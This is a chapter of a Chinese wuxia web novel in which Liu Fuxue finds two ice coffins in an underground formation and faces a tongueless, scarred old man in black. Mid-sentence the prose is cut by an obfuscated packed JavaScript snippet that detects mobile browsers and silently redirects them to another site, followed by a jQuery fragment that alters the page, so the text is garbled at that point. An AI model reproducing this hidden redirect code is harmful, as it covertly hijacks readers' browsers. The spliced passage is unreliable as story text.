暗红血迹在石阶上拖出蜿蜒长痕,柳拂雪在失重感中勉强护住心脉。
她听见黑衣人肋骨撞在台阶上的闷响,血腥味混着潮湿的霉味扑面而来。
最后一阶棱角重重硌在腰际,柳拂雪咬破舌尖才没昏死过去。
青石地面沁着冰凉的寒气,远处传来滴水声,在空旷中荡出细碎回音。她摸到腰间暗藏的玉佩,却在抬手的瞬间牵动内伤,鲜血又从齿缝溢出来。
“喀嚓”一声,幽蓝磷火突然在石壁上接连亮起。
柳拂雪瞳孔骤缩——三十步开外的石台上,竟供奉着两具冰制的棺材,在幽绿的灯芯照耀下,泛着诡异的青芒。
脑子“嗡!”的一声炸开,这阵法,她曾亲眼见过!
“锁魂阵……”艰难地吐出了几个字,伴随着丝丝血迹一起流下嘴角。
柳拂雪颤抖着双臂,强撑着一点点站起身来,满身还在泛着酸痛,心中的惊异却是已然盖过了疼痛。
柳拂雪强压下心底的惊惶,缓缓朝着那两具冰棺靠近。
亦步亦趋,待她走到近前时,这才看清了那两具冰棺表面,竟刻满了繁复的纹路。
不禁屏气敛息。柳拂雪目光落在第一具冰棺上,透过澄澈的冰层,她瞧见里面躺着的,是一位身着素衣的女子,面容绝美却毫无血色,双目紧闭,仿若沉睡。
柳拂雪的手指无意识地抚上冰棺,指尖触及冰面,一股彻骨寒意瞬间传遍全身。
另一具冰棺之中,则是一名青年男子。身着一袭同样的素色长袍,衣袂随着冰棺内若有若无的气流微微飘动,容貌英俊。双手交叠放在腹部,修长的手指骨节分明。
不知死了多久,然却保存的极好,全然不似两具古尸。
刚欲细看,却忽听身后传来衣料摩擦之声。
柳拂雪猛然转身。
只见那黑衣人支起上半身倚在石柱上,面罩早已脱落,火光映出一张苍白如纸的脸,沧桑的脸庞上遍布伤痕,眉骨处狰狞的旧疤斜劈入鬓,丝丝白发垂落,尽显苍老之态。
这人竟是个老者?!
不……
想起之前在长安村落见到的那名老朽,柳拂雪浑身血液瞬间凝固,几乎是下意识摆出防备之态。
却见那黑衣人只是死死盯着她,眸光之中,却已没有了刚才的凶狠之态。
柳拂雪咽了咽口水,试探性地开口:“你是谁……?为什么要杀我?”
那黑衣人只定定看着她,不说话。
柳拂雪心中疑惑,又问道:“你为何不说话?”
黑衣人不答,低头静默了半晌,却是突然双手撑地,立身站起,径直朝着柳拂雪走了过来。
见状,柳拂雪登时心头一震,不可抑制的抬脚向后退去。
剑指鼻尖,那人却丝毫不畏惧。剑锋一转,已然架至来人颈侧……
此人莫不是想故技重施?!
脑中警铃大响,柳拂雪蓦地握紧剑柄,已然做好了,若这人当真想与她两败俱伤,那她便拼他个鱼死网破的准备!
可偏偏这人却在与她剑尖不足咫尺之处停下了。
柳拂雪:“?”
右手手腕蓦然一痛,下一秒,长剑落手,坠于地上,发出“当啷”脆响。
“啊!”柳拂雪忍不住痛呼一声,心中暗道不好,左手迅速凝气,向那黑衣人一掌拍去。
两掌相接,爆发出巨大压力,两人死死相抵,僵持不下。
不对劲!
心脏猛地一沉。
此人这掌分明与她力气相当,为何她却……感受不到丝毫灵力涌动?
就像……谷底那晚一样……
况且刚才中他那一掌,便知此人功力分明远不只于此!
“你为何不用全力?”柳拂雪咬牙问道。
那人依旧沉默不语,闻言也只是眸光一闪,转眼间,便飞快以一手将她的两手手腕擒住,身形快到柳拂雪根本反应不过来!
手腕被反压在后,柳拂雪拼命挣扎,余光间有寒光逼近,满心不甘,心道自己今日当真要丧命于此?
却见那刀光径直绕过她的脖颈,滑至胸口,刀尖一挑,便将她怀中的两样东西挑了去。
那是师兄的腰佩,和沈明烛的令牌!
柳拂雪心中一惊,身后人已然放开了她的手。
没了束缚,她刚要旋身去抢,一转头,却见那人已然凌波微步,飞至离她数尺之处。
刚一站定,甚至没有给柳拂雪任何的反应时间,五指用力,便一举将那铜牌给攥成了齑粉。
心中大惊,柳拂雪一下子瞳孔骤缩,猛然惊觉,脱口而出道:“你不是奉天沈氏的人?!”
哪有门中弟子毁掉自家令牌的道理?
担忧师兄的玉佩也会被他毁掉,柳拂雪猛地运功,脚尖轻点地面,飞身上前去夺。
那人却似早已料到她会如此,每至她触手可得之时,便转身闪至他处。
几番打斗下来,柳拂雪本就受着伤,此时早已累得大汗淋漓、气喘吁吁。
而那黑衣人也好不到哪里去。肩头被她刺伤之处的血洞还在潺潺流着血,看起来也是强弩之末。
柳拂雪拼命咽下喉中鲜甜,扬声道:“不知道友来历几何?敢毁令牌,想来应当不是奉天沈氏之人吧。”
黑衣人眸光一闪,抬头望她,似在等她的下文。
柳拂雪继续道:“我亦不是奉天沈氏的门生。虽不知道友为何伪装于此,但到底你我的目的,都当是同向而行。既为一丘之貉,又何必刀剑相向呢?”
见那人似有动摇,柳拂雪缓缓移步,一点一点的靠近。
黑衣人不知在思索什么,半晌,忽然眼神一定。柳拂雪也骤然停住脚步。
心都被提到了嗓子眼。
所幸那黑衣人没有发难,只是径直抬臂,举起了他刚从柳拂雪那夺来的锦官玉牌,喉咙中不停发出“呜呜”之声。
他说不了话?是奉天之人将他毒哑的吗?
闻声,柳拂雪心下疑惑,不知他在问什么,只好大胆猜测他的意思。
无论如何,先向他表明一船之心、是友非敌,总不会出错。
这般想着,柳拂雪便轻轻点了点
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114679|161380||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
头,试探性的开口应道:“对,我是锦官白氏的门生。”
未曾想,话音刚落,那黑衣人竟突然激动起来,猛然一个箭步冲上前来,一把抓住了柳拂雪的肩膀,力道之大,仿若是要将她的肩膀生生捏断才好。
口中还不停的发出“呜嗯”之声,破碎残音,却连不成句。
望着他猛然长大的嘴巴,柳拂雪只觉头皮发麻,瞬间汗毛倒立。
此人口中溃烂,一派血肉模糊。原本应长着三寸之肉的地方,却只剩已然结痂的黑疤。
此人不能说话竟不是被毒哑的,而是活生生被人割掉了舌头!
割他舌头,与灼伤他之人,莫不会就是同一个人?他满身遍布的恐怖伤痕,莫非也是那一人作为?
到底是何人如此残忍?
顿时胃里一阵翻江倒海,隐隐想要作呕之感。
柳拂雪压住不断泛上的恶心与惊惧,强装镇定,却还是被那人瞧出了端倪。
黑衣人闭上了嘴,转而一把拉起柳拂雪的手,在她掌心一笔一划写下了什么。
那是一双指结粗大、满布老茧的手,其中虎口与食指处的茧最厚,落在她的掌上,隐隐有些泛痒。
不知是太过激动还是怎么,黑衣人的手微微颤抖,写出来的字歪歪扭扭,让柳拂雪看的有些吃劲,看了半天也没看出来后面写了什么,只大致认出了第一个,是个“白”字。
本欲麻烦他再写一遍,却忽见其胸口有微光闪烁,衣物颤抖。
黑衣人反应过来,飞快将那玉佩从怀中拿出,捧于手心。白光耀眼,倏忽一转头,竟见那两具冰棺竟也发着白光!
柳拂雪大为震惊,还未反应过来发生了什么,却见她身旁人脸色陡然一变,猛地转头看向冰棺摆放之处,双目圆瞪,满目不可置信之色。
如同被摄魂夺魄一般,那黑衣人突然转身,一步一步往那棺前走去,手中刀刃掉到地上也不管不顾。
柳拂雪接住从空中掉落的玉佩,意图阻止。伸手拉住他,却被他用力一把甩开。
老者径直走到两棺之前,然后便似被突然抽出全身力气一般,双膝缓缓弯曲,“扑通”一声重重跪在地上,溅起些许尘埃。
挺直的脊背微微弓起,双手交叠,掌心向下,缓缓置于身前地面。紧接着额头重重砸向地面,结结实实的磕了三个响头。
柳拂雪:“!”
“你这是做什么?!”柳拂雪心中大惊,刚欲抬步向前,却见那老者缓缓转过头来。
浑浊的眼眸布满猩红,额头应刚才的举动被砸红了一片,隐隐有破皮之相,与脸颊上狰狞的伤疤重合,看起来更加的触目尽心。
柳拂雪登时愣在了原地。
不料下一秒,那老者竟像不要命一般,一下一下拼命磕向地面。
眼睁睁看着地上蔓延的血迹越来越多,逐渐汇入地面沟槽,蜿蜒成一副完整的画面,柳拂雪的脑子“嗡!”的一声,大脑一片空白,只剩一个声音在脑海中盘旋。
她薄唇轻启,无意识的与那声音重合:“命归一,魂归里;血咒现,锁魂破……”